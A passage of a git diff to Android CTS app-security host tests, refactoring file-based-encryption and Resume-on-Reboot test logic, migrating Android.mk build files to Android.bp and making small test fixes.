 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
-import android.platform.test.annotations.RequiresDevice;
-
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -54,10 +52,6 @@
     private static final String OTHER_APK = "CtsSplitApp29.apk";
     private static final String OTHER_PKG = "com.android.cts.splitapp";
 
-    private static final String MODE_NATIVE = "native";
-    private static final String MODE_EMULATED = "emulated";
-    private static final String MODE_NONE = "none";
-
     private static final String FEATURE_DEVICE_ADMIN = "feature:android.software.device_admin";
     private static final String FEATURE_SECURE_LOCK_SCREEN =
             "feature:android.software.secure_lock_screen";
@@ -65,8 +59,6 @@
     private static final String FEATURE_SECURITY_MODEL_COMPATIBLE =
             "feature:android.hardware.security.model.compatible";
 
-    private static final long SHUTDOWN_TIME_MS = 30 * 1000;
-
     @Before
     public void setUp() throws Exception {
         Utils.prepareSingleUser(getDevice());
@@ -84,53 +76,36 @@
     }
 
     /**
-     * Automotive devices MUST support native FBE.
+     * Automotive devices MUST use FBE.
      */
     @Test
-    public void testAutomotiveNativeFbe() throws Exception {
+    public void testAutomotiveFbe() throws Exception {
         assumeSupportedDevice();
         assumeTrue("Device not automotive; skipping test", isAutomotiveDevice());
-
-        assertTrue("Automotive devices must support native FBE",
-            MODE_NATIVE.equals(getFbeMode()));
+        assertTrue("Automotive devices must use FBE", fbeEnabled());
     }
 
     /**
-     * If device has native FBE, verify lifecycle.
+     * If device uses FBE, verify the direct boot lifecycle.
      */
     @Test
-    public void testDirectBootNative() throws Exception {
+    public void testDirectBoot() throws Exception {
         assumeSupportedDevice();
-        assumeTrue("Device doesn't have native FBE; skipping test",
-                MODE_NATIVE.equals(getFbeMode()));
-        doDirectBootTest(MODE_NATIVE);
+        assumeTrue("Device doesn't use FBE; skipping test", fbeEnabled());
+        doDirectBootTest(true);
     }
 
     /**
-     * If device doesn't have native FBE, enable emulation and verify lifecycle.
+     * If device doesn't use FBE, verify the legacy lifecycle.
      */
     @Test
-    @RequiresDevice
-    public void testDirectBootEmulated() throws Exception {
+    public void testNoDirectBoot() throws Exception {
         assumeSupportedDevice();
-        assumeFalse("Device has native FBE; skipping test",
-                MODE_NATIVE.equals(getFbeMode()));
-        doDirectBootTest(MODE_EMULATED);
+        assumeFalse("Device uses FBE; skipping test", fbeEnabled());
+        doDirectBootTest(false);
     }
 
-    /**
-     * If device doesn't have native FBE, verify normal lifecycle.
-     */
-    @Test
-    public void testDirectBootNone() throws Exception {
-        assumeSupportedDevice();
-        assumeFalse("Device has native FBE; skipping test",
-                MODE_NATIVE.equals(getFbeMode()));
-        doDirectBootTest(MODE_NONE);
-    }
-
-    public void doDirectBootTest(String mode) throws Exception {
-        boolean doTest = true;
+    public void doDirectBootTest(boolean fbeEnabled) throws Exception {
         try {
             // Set up test app and secure lock screens
             new InstallMultiple().addFile(APK).run();
@@ -150,24 +125,13 @@
             Thread.sleep(15000);
 
             // Reboot system into known state with keys ejected
-            if (MODE_EMULATED.equals(mode)) {
-                final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
-                if (res != null && res.contains("Emulation not supported")) {
-                    doTest = false;
-                }
-                getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
-                getDevice().waitForDeviceOnline(120000);
-            } else {
-                getDevice().rebootUntilOnline();
-            }
+            getDevice().rebootUntilOnline();
             waitForBootCompleted(getDevice());
 
-            if (doTest) {
-                if (MODE_NONE.equals(mode)) {
-                    runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyUnlockedAndDismiss");
-                } else {
-                    runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyLockedAndDismiss");
-                }
+            if (fbeEnabled) {
+                runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyLockedAndDismiss");
+            } else {
+                runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyUnlockedAndDismiss");
             }
 
         } finally {
@@ -178,13 +142,7 @@
                 getDevice().uninstallPackage(PKG);
 
                 // Get ourselves back into a known-good state
-                if (MODE_EMULATED.equals(mode)) {
-                    getDevice().executeShellCommand("sm set-emulate-fbe false");
-                    getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
-                    getDevice().waitForDeviceOnline();
-                } else {
-                    getDevice().rebootUntilOnline();
-                }
+                getDevice().rebootUntilOnline();
                 getDevice().waitForDeviceAvailable();
             }
         }
@@ -196,8 +154,8 @@
         Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
     }
 
-    private String getFbeMode() throws Exception {
-        return getDevice().executeShellCommand("sm get-fbe-mode").trim();
+    private boolean fbeEnabled() throws Exception {
+        return "file".equals(getDevice().getProperty("ro.crypto.type"));
     }
 
     private void assumeSupportedDevice() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index c5fad14..be7ab00 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -40,6 +40,8 @@
 
 import java.util.ArrayList;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * Set of tests that verify behavior of Resume on Reboot, if supported.
@@ -68,6 +70,7 @@
 
     private static final int USER_SWITCH_TIMEOUT_SECONDS = 10;
     private static final long USER_SWITCH_WAIT = TimeUnit.SECONDS.toMillis(10);
+    private static final int UNLOCK_BROADCAST_WAIT_SECONDS = 10;
 
     private boolean mSupportsMultiUser;
 
@@ -83,6 +86,7 @@
 
         removeTestPackages();
         deviceDisableDeviceConfigSync();
+        deviceSetupServerBasedParameter();
     }
 
     @After
@@ -92,46 +96,8 @@
     }
 
     @Test
-    public void resumeOnReboot_SingleUser_Success() throws Exception {
-        if (!isSupportedDevice()) {
-            CLog.v(TAG, "Device not supported; skipping test");
-            return;
-        }
-
-        int[] users = Utils.prepareSingleUser(getDevice());
-        int initialUser = users[0];
-
-        // Clean up the server based parameters for HAL based test.
-        deviceCleanupServerBasedParameter();
-
-        try {
-            installTestPackages();
-
-            deviceSetup(initialUser);
-            deviceRequestLskf();
-            deviceLock(initialUser);
-            deviceEnterLskf(initialUser);
-            deviceRebootAndApply();
-
-            runDeviceTestsAsUser("testVerifyUnlockedAndDismiss", initialUser);
-        } finally {
-            try {
-                // Remove secure lock screens and tear down test app
-                runDeviceTestsAsUser("testTearDown", initialUser);
-
-                deviceClearLskf();
-            } finally {
-                removeTestPackages();
-            }
-        }
-    }
-
-    @Test
     public void resumeOnReboot_ManagedProfile_Success() throws Exception {
-        if (!isSupportedDevice()) {
-            CLog.v(TAG, "Device not supported; skipping test");
-            return;
-        }
+        assumeTrue("Device isn't at least S or has no lock screen", isSupportedSDevice());
 
         if (!getDevice().hasFeature("android.software.managed_users")) {
             CLog.v(TAG, "Device doesn't support managed users; skipping test");
@@ -143,8 +109,6 @@
 
         int managedUserId = createManagedProfile(initialUser);
 
-        deviceCleanupServerBasedParameter();
-
         try {
             // Set up test app and secure lock screens
             installTestPackages();
@@ -174,10 +138,7 @@
 
     @Test
     public void resumeOnReboot_TwoUsers_SingleUserUnlock_Success() throws Exception {
-        if (!isSupportedDevice()) {
-            CLog.v(TAG, "Device not supported; skipping test");
-            return;
-        }
+        assumeTrue("Device isn't at least S or has no lock screen", isSupportedSDevice());
 
         if (!mSupportsMultiUser) {
             CLog.v(TAG, "Device doesn't support multi-user; skipping test");
@@ -188,8 +149,6 @@
         int initialUser = users[0];
         int secondaryUser = users[1];
 
-        deviceCleanupServerBasedParameter();
-
         try {
             // Set up test app and secure lock screens
             installTestPackages();
@@ -231,10 +190,7 @@
 
     @Test
     public void resumeOnReboot_TwoUsers_BothUserUnlock_Success() throws Exception {
-        if (!isSupportedDevice()) {
-            CLog.v(TAG, "Device not supported; skipping test");
-            return;
-        }
+        assumeTrue("Device isn't at least S or has no lock screen", isSupportedSDevice());
 
         if (!mSupportsMultiUser) {
             CLog.v(TAG, "Device doesn't support multi-user; skipping test");
@@ -245,8 +201,6 @@
         int initialUser = users[0];
         int secondaryUser = users[1];
 
-        deviceCleanupServerBasedParameter();
-
         try {
             installTestPackages();
 
@@ -288,23 +242,13 @@
         }
     }
 
-    private boolean isSupportedSDevice() throws Exception {
-        // The following tests targets API level >= S.
-        boolean isAtleastS = ApiLevelUtil.isAfter(getDevice(), 30 /* BUILD.VERSION_CODES.R */)
-                || ApiLevelUtil.codenameEquals(getDevice(), "S");
-
-        return isAtleastS && getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN);
-    }
-
     @Test
     public void resumeOnReboot_SingleUser_ServerBased_Success() throws Exception {
-        assumeTrue("Device isn't at least S or have no lock screen", isSupportedSDevice());
+        assumeTrue("Device isn't at least S or has no lock screen", isSupportedSDevice());
 
         int[] users = Utils.prepareSingleUser(getDevice());
         int initialUser = users[0];
 
-        deviceSetupServerBasedParameter();
-
         try {
             installTestPackages();
 
@@ -324,7 +268,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-                deviceCleanupServerBasedParameter();
 
                 getDevice().rebootUntilOnline();
                 getDevice().waitForDeviceAvailable();
@@ -334,13 +277,11 @@
 
     @Test
     public void resumeOnReboot_SingleUser_MultiClient_ClientASuccess() throws Exception {
-        assumeTrue("Device isn't at least S or have no lock screen", isSupportedSDevice());
+        assumeTrue("Device isn't at least S or has no lock screen", isSupportedSDevice());
 
         int[] users = Utils.prepareSingleUser(getDevice());
         int initialUser = users[0];
 
-        deviceSetupServerBasedParameter();
-
         final String clientA = "ClientA";
         final String clientB = "ClientB";
         try {
@@ -367,7 +308,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-                deviceCleanupServerBasedParameter();
 
                 getDevice().rebootUntilOnline();
                 getDevice().waitForDeviceAvailable();
@@ -377,13 +317,11 @@
 
     @Test
     public void resumeOnReboot_SingleUser_MultiClient_ClientBSuccess() throws Exception {
-        assumeTrue("Device isn't at least S or have no lock screen", isSupportedSDevice());
+        assumeTrue("Device isn't at least S or has no lock screen", isSupportedSDevice());
 
         int[] users = Utils.prepareSingleUser(getDevice());
         int initialUser = users[0];
 
-        deviceSetupServerBasedParameter();
-
         final String clientA = "ClientA";
         final String clientB = "ClientB";
         try {
@@ -409,7 +347,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-                deviceCleanupServerBasedParameter();
 
                 getDevice().rebootUntilOnline();
                 getDevice().waitForDeviceAvailable();
@@ -515,11 +452,32 @@
         runDeviceTestsAsUser("testUnlockScreen", userId);
     }
 
+    private void verifyLskfCaptured(String clientName) throws Exception {
+        HostSideTestUtils.waitUntil("Lskf isn't captured after "
+                        + UNLOCK_BROADCAST_WAIT_SECONDS + " seconds for " + clientName,
+                UNLOCK_BROADCAST_WAIT_SECONDS, () -> isLskfCapturedForClient(clientName));
+    }
+
+    private boolean isLskfCapturedForClient(String clientName) throws Exception {
+        Pattern pattern = Pattern.compile(".*LSKF capture status: (\\w+)");
+        String status = getDevice().executeShellCommand(
+                "cmd recovery is-lskf-captured " + clientName);
+        Matcher matcher = pattern.matcher(status);
+        if (!matcher.find()) {
+            CLog.i(TAG, "is-lskf-captured isn't implemented on build, assuming captured");
+            return true;
+        }
+
+        return "true".equalsIgnoreCase(matcher.group(1));
+    }
+
     private void deviceRebootAndApply() throws Exception {
         deviceRebootAndApply(PKG);
     }
 
     private void deviceRebootAndApply(String clientName) throws Exception {
+        verifyLskfCaptured(clientName);
+
         String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply " + clientName
                 + " cts-test");
         if (res != null && res.contains("Reboot and apply status: failure")) {
@@ -607,9 +565,12 @@
         Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, CLASS, testMethodName);
     }
 
-    private boolean isSupportedDevice() throws Exception {
-        return getDevice().hasFeature(FEATURE_DEVICE_ADMIN)
-                && getDevice().hasFeature(FEATURE_REBOOT_ESCROW);
+    private boolean isSupportedSDevice() throws Exception {
+        // The following tests targets API level >= S.
+        boolean isAtleastS = ApiLevelUtil.isAfter(getDevice(), 30 /* BUILD.VERSION_CODES.R */)
+                || ApiLevelUtil.codenameEquals(getDevice(), "S");
+
+        return isAtleastS && getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN);
     }
 
     private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index 9d9ac19..7f4cf27 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -266,7 +266,7 @@
 
     private boolean isWatch() {
         try {
-             return getDevice().hasFeature("feature:android.hardware.type.watch");
+            return getDevice().hasFeature("feature:android.hardware.type.watch");
         } catch (DeviceNotAvailableException e) {
             return false;
         }
diff --git a/hostsidetests/appsecurity/test-apps/Android.mk b/hostsidetests/appsecurity/test-apps/Android.mk
deleted file mode 100644
index 38b7505..0000000
--- a/hostsidetests/appsecurity/test-apps/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
-
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
deleted file mode 100644
index 70692ab..0000000
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright (C) 2020 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 1a2a593..1fecc44 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -556,11 +556,25 @@
 
         mDevice.waitForIdle();
 
-        assertTrue(findDocument(queryString).exists());
-
         UiObject textField = findSearchViewTextField();
+        int tryLimit = 3;
+
+        textField.waitForExists(TIMEOUT);
         assertTrue(textField.exists());
+
+        while (tryLimit-- > 0) {
+            if (queryString.equals(textField.getText())) {
+                // start search, hide IME
+                mDevice.pressEnter();
+                break;
+            } else {
+                SystemClock.sleep(500);
+            }
+        }
+
         assertEquals(queryString, textField.getText());
+
+        assertTrue(findDocument(queryString).exists());
     }
 
     public void testGetContent_returnsResultToCallingActivity() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 23aa04b..92f53ac 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -115,7 +115,8 @@
         // Set a PIN for this user
         mDevice.executeShellCommand("settings put global require_password_to_decrypt 0");
         mDevice.executeShellCommand("locksettings set-disabled false");
-        mDevice.executeShellCommand("locksettings set-pin 1234");
+        String output = mDevice.executeShellCommand("locksettings set-pin 1234");
+        assertTrue("set-pin failed. Output: " + output, output.contains("1234"));
     }
 
     public void testTearDown() throws Exception {
@@ -208,9 +209,7 @@
         mDevice.pressEnter();
         mDevice.waitForIdle();
 
-        // Give enough time for the RoR clients to get the unlock broadcast.
         // TODO(189853309) make sure RebootEscrowManager get the unlock event
-        SystemClock.sleep(10 * 1000);
     }
 
     private void dismissKeyguard() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.bp b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.bp
index 000d13c..ad62246 100644
--- a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.bp
@@ -1,5 +1,5 @@
 //
-// Copyright (C) 2021 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -15,13 +15,16 @@
 //
 
 package {
+    // See: http://go/android-license-faq
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 java_library {
     name: "cts_signature_query_service",
-
-    srcs: ["src/**/*.java"] + ["src/**/I*.aidl"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
     sdk_version: "current",
 }
 
@@ -34,12 +37,12 @@
     compile_multilib: "both",
     sdk_version: "current",
     static_libs: ["cts_signature_query_service"],
-    certificate: ":cts-ec-p256",
-    v4_signature: true,
     test_suites: [
         "cts",
         "general-tests",
     ],
+    certificate: ":ec-p256",
+    v4_signature: true,
 }
 
 // This is the second version of the test app signed with the rotated signing
@@ -52,14 +55,14 @@
     compile_multilib: "both",
     sdk_version: "current",
     static_libs: ["cts_signature_query_service"],
-    certificate: ":cts-ec-p256_2",
-    additional_certificates: [":cts-ec-p256"],
-    lineage: ":cts-ec-p256-por_1_2-default-caps.lineage",
-    v4_signature: true,
     test_suites: [
         "cts",
         "general-tests",
     ],
+    certificate: ":ec-p256_2",
+    additional_certificates: [":ec-p256"],
+    lineage: ":ec-p256-por_1_2-default-caps",
+    v4_signature: true,
 }
 
 // This is the third version of the test app signed with the same rotated
@@ -72,12 +75,12 @@
     compile_multilib: "both",
     sdk_version: "current",
     static_libs: ["cts_signature_query_service"],
-    certificate: ":cts-ec-p256_2",
-    additional_certificates: [":cts-ec-p256"],
-    lineage: ":cts-ec-p256-por_1_2-default-caps.lineage",
-    v4_signature: true,
     test_suites: [
         "cts",
         "general-tests",
     ],
+    certificate: ":ec-p256_2",
+    additional_certificates: [":ec-p256"],
+    lineage: ":ec-p256-por_1_2-default-caps",
+    v4_signature: true,
 }
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
deleted file mode 100644
index 930dd06..0000000
--- a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright (C) 2021 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/OWNERS b/hostsidetests/appsecurity/test-apps/KeyRotationTest/OWNERS
new file mode 100644
index 0000000..e5c7aa8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+file:platform/frameworks/base:/core/java/android/util/apk/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.bp b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.bp
index f52e817..07ec92a 100644
--- a/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.bp
@@ -1,5 +1,5 @@
 //
-// Copyright (C) 2021 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -14,14 +14,16 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 // This is the instrumentation test package for the CtsSignatureQueryService
 // app. This app verifies that the standalone app is functioning as expected
 // after a key rotation and provides a companion package that can be used for
 // the PackageManager checkSignatures APIs.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSignatureQueryServiceTest",
     defaults: ["cts_support_defaults"],
@@ -41,9 +43,9 @@
         "cts",
         "general-tests",
     ],
-    certificate: ":cts-ec-p256",
+    certificate: ":ec-p256",
     v4_signature: true,
-    // Disable dexpreopt and <uses-library> check for test.
+    // Disable dexpreopt and <uses-library> check for test
     enforce_uses_libs: false,
     dex_preopt: {
         enabled: false,
@@ -71,12 +73,11 @@
         "cts",
         "general-tests",
     ],
-    certificate: ":cts-ec-p256_2",
-    additional_certificates: [":cts-ec-p256"],
-    lineage: ":cts-ec-p256-por_1_2-default-caps.lineage",
+    certificate: ":ec-p256_2",
+    additional_certificates: [":ec-p256"],
+    lineage : ":ec-p256-por_1_2-default-caps",
     v4_signature: true,
-
-    // Disable dexpreopt and <uses-library> check for test.
+    // Disable dexpreopt and <uses-library> check for test
     enforce_uses_libs: false,
     dex_preopt: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
index 8deeb76..cd41b61 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
@@ -86,6 +86,11 @@
         // TODO: this is not standard notation for IPv6. Use [$addr]:$port instead as per RFC 3986.
         EXCEPTION_PATTERNS.add(":::5555");          // emulator port for adb
         EXCEPTION_PATTERNS.add(":::7275");          // used by supl
+
+        // DHCP: This port is open when a network is connected before DHCP is resolved
+        // And can also be opened on boot for ethernet networks.
+        // Thus a device connected via wifi with an ethernet port can encounter this.
+        EXCEPTION_PATTERNS.add("0.0.0.0:68");
     }
 
     /**
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
index d7a6cd7..131a0d1 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
@@ -28,3 +28,60 @@
     },
     srcs: ["src/**/*.java"],
 }
+
+//##########################################################
+// Variant: Privileged app upgrade
+
+android_test_import {
+    name: "CtsShimPrivUpgradePrebuilt",
+    // Make sure the build system doesn't try to resign the APK
+    certificate: "PRESIGNED",
+    preprocessed: true,
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    // The 'arm' apk has both arm and arm64 so's. Same for x86/x86_64.
+    arch: {
+        arm: {
+            apk: "apk/arm/CtsShimPrivUpgrade.apk",
+        },
+        arm64: {
+            apk: "apk/arm/CtsShimPrivUpgrade.apk",
+        },
+        x86: {
+            apk: "apk/x86/CtsShimPrivUpgrade.apk",
+        },
+        x86_64: {
+            apk: "apk/x86/CtsShimPrivUpgrade.apk",
+        },
+    },
+}
+
+//##########################################################
+// Variant: Privileged app upgrade (wrong SHA)
+
+android_test_import {
+    name: "CtsShimPrivUpgradeWrongSHAPrebuilt",
+    // Make sure the build system doesn't try to resign the APK
+    certificate: "PRESIGNED",
+    preprocessed: true,
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    arch: {
+        arm: {
+            apk: "apk/arm/CtsShimPrivUpgradeWrongSHA.apk",
+        },
+        arm64: {
+            apk: "apk/arm/CtsShimPrivUpgradeWrongSHA.apk",
+        },
+        x86: {
+            apk: "apk/x86/CtsShimPrivUpgradeWrongSHA.apk",
+        },
+        x86_64: {
+            apk: "apk/x86/CtsShimPrivUpgradeWrongSHA.apk",
+        },
+    },
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
deleted file mode 100644
index 59e714f..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-
-LOCAL_PATH := $(call my-dir)
-
-###########################################################
-# Variant: Privileged app upgrade
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsShimPrivUpgradePrebuilt
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_CLASS := APPS
-LOCAL_BUILT_MODULE_STEM := package.apk
-# Make sure the build system doesn't try to resign the APK
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-# The 'arm' apk has both arm and arm64 so's. Same for x86/x86_64.
-my_apk_dir := $(subst arm64,arm,$(TARGET_ARCH))
-my_apk_dir := $(subst x86_64,x86,$(my_apk_dir))
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_apk_dir)/CtsShimPrivUpgrade.apk
-
-include $(BUILD_PREBUILT)
-
-###########################################################
-# Variant: Privileged app upgrade (wrong SHA)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsShimPrivUpgradeWrongSHAPrebuilt
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_CLASS := APPS
-LOCAL_BUILT_MODULE_STEM := package.apk
-# Make sure the build system doesn't try to resign the APK
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_apk_dir)/CtsShimPrivUpgradeWrongSHA.apk
-
-include $(BUILD_PREBUILT)
-
-my_apk_dir :=
diff --git a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
index b4292a6..c8271f9 100644
--- a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
@@ -1,3 +1,3 @@
 # Bug component: 137825
-ewol@google.com
+ashfall@google.com
 zhanghai@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.bp
new file mode 100644
index 0000000..8c4ca1c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.bp
@@ -0,0 +1,58 @@
+//
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+// Automatically generated file from build_libs.sh.
+// DO NOT MODIFY THIS FILE
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_arm64-v8a",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    java_resource_dirs: ["raw"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--replace-version",
+    ],
+}
+
+android_test_helper_app {
